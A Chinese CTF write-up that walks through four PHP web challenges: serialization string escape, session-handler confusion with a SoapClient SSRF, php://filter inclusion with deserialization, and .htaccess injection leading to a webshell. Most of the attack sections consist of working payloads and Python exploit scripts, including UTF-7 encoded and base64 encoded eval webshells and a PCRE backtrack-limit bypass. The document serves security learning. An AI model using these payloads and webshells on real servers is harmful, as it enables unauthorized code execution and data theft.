BUU刷题01
[安洵杯 2019]easy_serialize_php
直接给了源代码
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
提示查看phpinfo
发现d0g3_f1ag.php,就是需要读取的flag文件
这道题其实就是php字符串逃逸。0ctf中的piapiapia已经出现过了。
原理:通过字符串的增减,逃逸",构造payload,将已经设定好的img挤出去。达到构造前面的变量就可以修改已设定好的变量
这里因为有extract所以我们有两个可控变量,一个SESSION[user],一个SESSION[function],这两个变量覆盖后不会再改变,SESSION[img]我们是改变不了的,是再变量覆盖后赋值。
来看一下最开始的
这里我们需要把img挤出去,先构造下function,挤出去img,插入我们自己设定好的
payload:
_SESSION[user]=yunying&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
可以看到这里如果是设置user和 function的话,光靠function是逃不出去的,因为有43个字符,并且这里是过滤为空而不是0CTF里的替换->增量,这里依然会把构造的img后面的给包括进来,如何不包括到;s:3"img",xxxx这些呢。
这里就可以用到user,通过user和function的字符串计算,在user的第二个"开始到function键值的第一个"的结束,这样就可以把function后面的s:""包含进来,就不会影响到下一个键img了。
这里比较懒,直接分析下别的师傅的payload
第一种:键值逃逸
payload
function=show_image&_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=p";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"ab";s:2:"sb";}
本地搭建环境,未过滤前
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:60:"p";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"ab";s:2:"sb";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
过滤后
a:3:{s:4:"user";s:24:"";s:8:"function";s:60:"p";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"ab";s:2:"sb";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
上面也说到了需要计算字符在user的第二个"开始到function键值的第一个"的结束。
所以这里应该计算的是
";s:8:"function";s:60:"
一共是23个字符,但是这里是
";s:8:"function";s:60:"p
因为过滤为空的字符中,有4位和3位的,这里全用4位的,不过还需要多加一个字符。
加ab这个键值对,是因为这里前提是a:3,数组中需要有三个键值对,因此只要补上一个任意的键值对即可。
第二种方法:键名逃逸
这个是我没想到的,extract的东西,extract里面规定的是数组,但是当我们传入的是二维数组的键值时候,只会覆盖变量的当前的键值对,其他的都会为空。
举例如下:
payload:
_SESSION[flagphp]=;s:2:"db";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这里更加简单,只需要将这七个字符包含在内
";s:51:
所以替换flagphp这七个字符为空,就可以将上述字符包括在内。这里不需要多加键值对。
Bestphp’s revenge
这道题名字跟MRCTF最后一题有点像啊,题目也基本差不多。
进入源码如下:
<?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET['f'], $_POST); session_start(); if (isset($_GET['name'])) { $_SESSION['name'] = $_GET['name']; } var_dump($_SESSION); $a = array(reset($_SESSION), 'welcome_to_the_lctf2018'); call_user_func($b, $a); ?>
分析下逻辑:
post参数值作为$_GET['f']参入值回调函数的参数
get传入name赋值Session name参数
然后获取session数组的第一个参数值,与'welcome_to_the_lctf2018'组成数组
再通过回调函数的作用作为implode的参数,讲数组打散连接成字符串
这里我的想法是,是不是要传入extract,变量覆盖利用system去找。没有找到思路,又不像是是soapclient原生类反序列化。这里看了WP,直接贴上题解
https://xz.aliyun.com/t/3341#toc-13
https://www.cnblogs.com/20175211lyz/p/11515519.html
https://cloud.tencent.com/developer/article/1376384
发现有flag.php的提示
<?php only localhost can get flag! session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag! >?
最后的思路是
利用回调函数覆盖session序列化引擎为php_serilaze,构造SSRF的Soap类的序列化字符串配合序列化注入写入session文件,然后利用变量覆盖漏洞,覆盖掉变量b为回调函数call_user_func,此时结合我刚开始所说的回调函数调用Soap类的未知方法,触发__call方法进行SSRF访问flag.php。把flag写入session,再把session打印出来即可。
这里分析一下思路,起点是要通过soapclient类去触发ssrf访问flag.php才能将flag写入session中,难点就是如何触发soapclient类。
分析:
0x01:
题解里说到是通过session存储的差异性,导致取出session对比时反序列化恶意payload,猜测flag.php存储方式应该是php,如果我们设置在index.php页面用php_serialize存储,通过增加一个|来达到触发后面的对象类soapclient的反序列化。所以第一步就是赋值session,call_user_func还可以将session_start作为回调函数,将serialize_handler的序列化方式作为参数。
构造如下赋值:
session_start(['serialize_handler'=>'php_serialize'])
0x02:
这里又有一个问题,就是如何让soapclient调用__call魔术方法,这里又回到index.php
$b = 'implode';
call_user_func($_GET['f'], $_POST); call_user_func($b, $a);
这里需要用到变量覆盖的extract,不过有个trick,就是call_user_func的一个性质(7.1.x extract不能被动态调用)
call_user_func
— 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。 这里调用的回调函数不仅仅是我们自定义的函数,还可以是php的内置函数。比如下面我们会用到的extract。 这里需要注意当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调。
例如:
<?php class myclass{ static function say_hello(){ echo "hello!"; } } $classname = "myclass"; call_user_func(array($classname,'say_hello'));
结果就会调用类myclass
中的say_hello
方法,输出hello!
所以这里我需要以这种方式调用soapclient
call_user_func(array(SoapClient,'say_hello'));
这里就可以把b赋值为call_user_func,f赋值为extract,name赋值为SoapClient。调用如下
call_user_func('call_user_func',array('SoapClient','welcome_to_the_lctf2018'))
这样就可以令SoapClient调用到不存在的方法,触发自身的__call魔术方法
实现如下:
0x01首先POC用去访问index.php页面
<?php $url = "http://127.0.0.1/flag.php"; $b = new SoapClient(null, array('uri' => $url, 'location' => $url)); $a = serialize($b); $a = str_replace('^^', "\r\n", $a); echo "|" . urlencode($a); ?>
这里就完成了覆盖序列化引擎为php_serialize,设置好了session
0x02再去访问index.php页面,这里session_start()用的序列化引擎是php,然后var_dump会反序列化Soapclient,call_user_func可以触发__call
0x03修改自己的session改成返回的PHPSESSID,再访问index.php获得flag
为了更加理解CRLF这里我实验了一下。location下注入可以直接
在php的header里使用会出现warning
header("location:".$_GET["url"]);
[ZJCTF 2019]NiZhuanSiWei
进入即源码
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
可以文件包含并且提示useless.php
payload
get:http://dd033352-eede-49f6-b541-491c9c96fa5b.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=../../../../../../var/www/html/useless.php&text=php://input post:welcome to the zjctf
获得useless.php的源码
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
exp
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a=new Flag(); $a->file='flag.php'; echo serialize($a); ?>
payload:
get:http://dd033352-eede-49f6-b541-491c9c96fa5b.node3.buuoj.cn/?file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}&text=php://input post:welcome to the zjctf
[XNUCA2019]Easy PHP
进入即源码
<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php"); if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nJust one chance"); ?>
1.会遍历删除目录下除index.php外的文件
2.content中不能存在一些字符
3.filename必须是[a-z.]中的字符
4.最后以file_put_contents写入,filename作为文件名,content作为内容连接\nJust one chance
测试一下
http://40d8d782-5c07-41ee-bf36-fa01132a126b.node3.buuoj.cn/?content=<?php echo 123;>?&filename=abcd.php
并没有被解析啊,虽然是php。并且都已经遍历删除了,为什么还有包含文件呢。都是疑点。
这里用.htaccess的话,因该有换行数据干扰,会导致失败,我们可以用\去转义掉\n,使其变成字符串\n然后用#注释
预期解:
着重在include_once('fl3g.php'),如果结合.htaccess
这里可以利用.htaccess来改写php.ini的一些属性。
摘自php.net
当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 PHP 的配置设定。需要有“AllowOverride Options”或“AllowOverride All”权限才可以。
php_value``name``value
设定指定的值。只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令。要清除先前设定的值,把 value 设为 none。
Note: 不要用
php_value
设定布尔值。应该用php_flag
(见下面)。
php_flag``name``on|off
用来设定布尔值的配置指令。仅能用于 PHP_INI_ALL 和 PHP_INI_PERDIR 类型的指令。
php_admin_value``name``value
设定指定的指令的值。不能用于 .htaccess 文件。任何用
php_admin_value
设定的指令都不能被 .htaccess 或 virtualhost 中的指令覆盖。要清除先前设定的值,把 value 设为 none。
php_admin_flag``name``on|off
用来设定布尔值的配置指令。不能用于 .htaccess 文件。任何用
php_admin_flag
设定的指令都不能被 .htaccess 或 virtualhost 中的指令覆盖。
翻一下php的官方文档php.ini配置选项列表,查找所有可修改范围为PHP_INI_ALL即PHP_INI_PERDIR的配置项,我们可以注意到这样一个选项include_path
这个参数可以指定一个目录列表,其中require、include、fopen()、file()、readfile()和file_get_contents()函数在查找要包含的文件时,会分别考虑include路径中的每个条目。它将检查第一个路径,如果没有找到,则检查下一个路径,直到找到包含的文件或返回警告或错误。
所以想办法在其他目录下写入同名fl3g.php文件,并且里面包含我们的shell,然后通过设置此参数,让该文件可以成功包含fl3g.php从而getshell
这里filename有限制,无法用/去跨目录写,所以我们需要想办法。
查找所有php log相关的功能可以看到error_log这一选项
利用error_log写入log文件到/tmp/fl3g.php,再设置include_path=/tmp即可让index.php能够包含我们想要的文件。这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上
步骤讲解:
这里我们可以先将include_path设置为php语句,通过python脚本上传.htaccess。然后访问index.php后会出现错误,因为include_path的路径出错,这时错误信息会写到/tmp/f13g.php中,但这时页面时没有任何显示的。下一步就需要包含这个错误的日志信息,然后再去访问index.php才可以将信息显示到页面中,也就是我们需要两个操作,才能将我们想要输出的PHP语句包含到页面中。
这里虽然会遍历删除,但是上传后的第一次访问仍然会以.htaccss中的规则执行,第二次访问时已经没有.htaccess了。
通过如下脚本:
注:
error_reporting 32767指的是报告所有的可能出现的错误
1 E_ERROR 报告导致脚本终止运行的致命错误2 E_WARNING 报告运行时的警告类错误(脚本不会终止运行)4 E_PARSE 报告编译时的语法解析错误8 E_NOTICE 报告通知类错误,脚本可能会产生错误32767 E_ALL 报告所有的可能出现的错误(不同的PHP版本,常量E_ALL的值也可能不同)
import requests payload=""" php_value error_log /tmp/fl3g.php php_value error_reporting 32767 php_value include_path "<?php phpinfo(); ?>" # \\"""
#用完上面的,把上面的payload注入,把下面的注释解开 # payload=""" # php_value error_log /tmp/fl3g.php # php_value error_reporting 32767 # php_value include_path /tmp # # \\""" URL = "http://b4ecdf5d-ef89-444b-ac27-98b2a948a98e.node3.buuoj.cn/index.php" def upload_content(name, content): data = { "content" : content, "filename" : name, } return requests.get(URL, params=data) rep = upload_content(".htaccess", payload) print(rep.text)
可以发现<被html编码了
这里可以用UTF-7编码写入,然后利用.htaccess设置来解码,在SUCTF中的easy_web也有这样的方法。
第一次
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path '+ADwAPwBwAGgAcAAgAGUAdgBhAGwAKAAkAF8AUABPAFMAVABbAHkAdQBuAHkAaQBuAGcAXQApADs-' #<?php eval($_POST[yunying]);
# \\
第二次
php_value error_log /tmp/fl3g.php
php_value zend.multibyte 1 #支持多字符集编码
php_value zend.script_encoding "UTF-7"
php_value include_path /tmp
# \\
脚本如下:
import requests
PAYLOAD1 = """php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADwAPwBwAGgAcAAgAGUAdgBhAGwAKAAkAF8AUABPAFMAVABbAHkAdQBuAHkAaQBuAGcAXQApADsAPwA+-"
# \\"""
PAYLOAD2 = """php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \\"""
URL = "http://86feb995-f4bf-4283-bae5-8b377c40d5b3.node3.buuoj.cn/index.php"
def upload_content(name, content):
data = {
"content" : content,
"filename" : name,
}
return requests.get(URL, params=data)
rep = upload_content(".htaccess", PAYLOAD1)
print(rep.text)
rep = upload_content(".htaccess", PAYLOAD2)
print(rep.text)
执行一次命令就需要先执行一次脚本,因为执行完一次命令,.htaccess就会被删除,所以需要脚本写入.htaccess,下次执行命令就可以包含上了
非预期解01
- 利用正则回溯绕过preg_match对于文件名的限制,设置pcre.backtrack_limit,具体可以参考 PHP利用PCRE回溯次数限制绕过某些安全限制
可以看到对于文件名的限制只可以a-z .字符,如果匹配到其他的字符就会返回true,绕过需要返回false。
if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker2"; die(); }
而根据正则回溯,当超过回溯次数,preg_matc就会返回false,因此可以通过将prce.backtrack_limit设置为0,超过回溯次数就会返回false
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
脚本如下:
import requests PAYLOAD3 = """php_value pcre.backtrack_limit 0 php_value pcre.jit 0 # \\""" PAYLOAD4 = """<?php phpinfo();?>""" URL = "http://xxx/index.php" def upload_content(name, content): data = { "content" : content, "filename" : name, } return requests.get(URL, params=data) rep = upload_content(".htaccess", PAYLOAD3) print(rep.text) rep = upload_content("fl3g.php", PAYLOAD4) print(rep.text)
通过.htaccess设置回溯次数,在下次请求filename=f13g.php时生效,回溯限制变成0,然后filename就可以绕过,正则到1的时候,不属于[a-z].范围内,会进行回溯,只要回溯一次就算超过了回溯次数,导致preg_match返回false。
但是通过上面的方式,访问f13g.php,BUU靶机用这个exp打发现仍然是不被解析的,并且index.php也不会包含。不像.htaccess作用于当前目录。测试失败
陆队文章中还提了一下ROIS战队的做法:
ROIS 这里使用了一种比较复杂的方法,首先同样上传
.htaccess
把 pcre 回溯限制改成 0,然后使用 base64 写文件绕过stristr
的判断,使用auto_append_file
包含.htaccess
,在.htaccess
当中写注释 webshell 即可。首先上传
.htaccess
,内容为:php_value pcre.backtrack_limit 0 php_value pcre.jit 0
再次上传名为
php://filter/write=convert.base64-decode/resource=.htaccess
,内容为,cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKCnBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCgpwaHBfdmFsdWUgcGNyZS5qaXQgICAwCgojPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5cbase64 解码的内容是
php_value pcre.backtrack_limit 0 php_value auto_append_file ".htaccess" php_value pcre.jit 0 #<?php eval($_GET[1]);?>\Exp:
import requests PAYLOAD5 = """php_value pcre.backtrack_limit 0 php_value pcre.jit 0 # \\""" PAYLOAD6 = """cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKCnBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCgpwaHBfdmFsdWUgcGNyZS5qaXQgICAwCgojPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5c""" URL = "http://zedd.cc/xnuca/index.php" def upload_content(name, content): data = { "content" : content, "filename" : name, "1": "echo 'Done!';" } return requests.get(URL, params=data) rep = upload_content(".htaccess", PAYLOAD5) print(rep.text) rep = upload_content("php://filter/write=convert.base64-decode/resource=.htaccess", PAYLOAD6) print(rep.text)
ROIS解法利用base64编码绕过stristr对于file字符串的限制,通过设置回溯绕过filename对于php://filter/write流字符串以base64解码的方式写入,然后通过auto_append_file,自动包含base64编码后的.htaccess的shell。
上面两个方法,第一个陆队的说的是不行的,因为conf文件里设置了当前目录不解析php除了index.php,所以get shell必须在index.php上动手脚。第二个ROIS的感觉才是正解。
非预期解02
既然能用\
绕过最后的\n
,同样我们也可以用来绕过stristr
,而且不影响.htaccess
的解析
lv4n师傅的payload:
import requests url = 'http://64252b1b-326b-43dd-8dcf-e8afa7dff495.node1.buuoj.cn/' r = requests.get(url+'?filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20system(\'cat%20../../../fl[a]g\');?>\\') print(r.text)
或者陆队的exp
import requests PAYLOAD7 = """php_value auto_prepend_fi\\ le ".htaccess" #<?php phpinfo();?>\\""" URL = "http://xxx/index.php" def upload_content(name, content): data = { "content" : content, "filename" : name, } return requests.get(URL, params=data) rep = upload_content(".htaccess", PAYLOAD7) print(rep.text)
这里又学习了一下apache如何在指定目录下禁止解析php。conf文件可以这样设置
DocumentRoot /var/www/html php_admin_flag engine off 网上看到的写法: <Directory "/var/www/html/upload"> php_admin_flag engine off </Directory>
这里看了下题目docker中的设置如下:
htaccess相关:
相关网站:
学习链接: